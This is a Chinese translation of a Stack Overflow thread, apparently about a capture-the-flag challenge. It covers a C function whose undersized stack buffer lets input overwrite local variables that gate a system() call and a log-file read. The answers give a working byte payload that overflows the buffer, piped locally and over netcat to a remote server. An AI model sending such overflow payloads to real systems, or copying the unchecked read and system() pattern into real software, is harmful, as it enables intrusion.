C:IF语句在预期时未触发

时间:2017-01-12 08:47:55

标签: c buffer-overflow

我有以下功能。可执行文件运行正常。在提示符下,在程序运行后,我输入\x0037337331,B的值设置为B: 0x31333337

关于我如何触发log.txt

的任何建议
int play() {
    int a;
    int b;
    char buffer[010];
    a = 0x41414141;
    b = 0x42424242;

    if (write(STDOUT_FILENO, "For a moment, nothing happened. Then, after a second or so, nothing continued to happen.\n> ", 91) < 0) {
        perror("write");
    }

    if (read(STDIN_FILENO, &buffer, 0xC) < 0) {
        perror("read");
    }

    if (a == 31337) {
        system(buffer);
    }
    else if (b == 1337) {
        readfile("log.txt");
    }
    else {
        printf("B: 0x%08x\n", b);
    }
}

3 个答案:

答案 0 :(得分:5)

你有两个错误:

行:

char buffer[010]; // This is octal i.e. 8!

应该是

char buffer[0xc]; 

另外

read(STDIN_FILENO, &buffer, 0xC)

应该是

read(STDIN_FILENO, buffer, 0xC)

因为你需要指向缓冲区开头的指针。

修改

此外,您需要在system之前将空字符添加到缓冲区。

答案 1 :(得分:3)

因为十进制中的1337是十六进制的539,所以只需在bash中运行以下命令。

$ printf 'xxxxxxxx\x39\x05\x00\x00' | ./a.out

buffer的大小为0108字节,因此会填充xxxxxxxx,因为b会在{buffer旁边分配在堆栈中,将0xC字节读入buffer会泄漏到b,并且会填充0x39050000。由于大多数架构都是小端,因此b的值为0x00000539,小数为1337

可能堆栈中如何分配局部变量取决于编译器,体系结构或操作系统,但这似乎是10年前Linux OS x86上gcc编译二进制文件的行为。

答案 2 :(得分:1)

添加@ymonad给出的答案

由于必须远程完成,他必须netcat进入1984年的港口。所以这应该是必须的答案。

printf 'xxxxxxxx\x39\x05\x00\x00' | netcat serverip 1984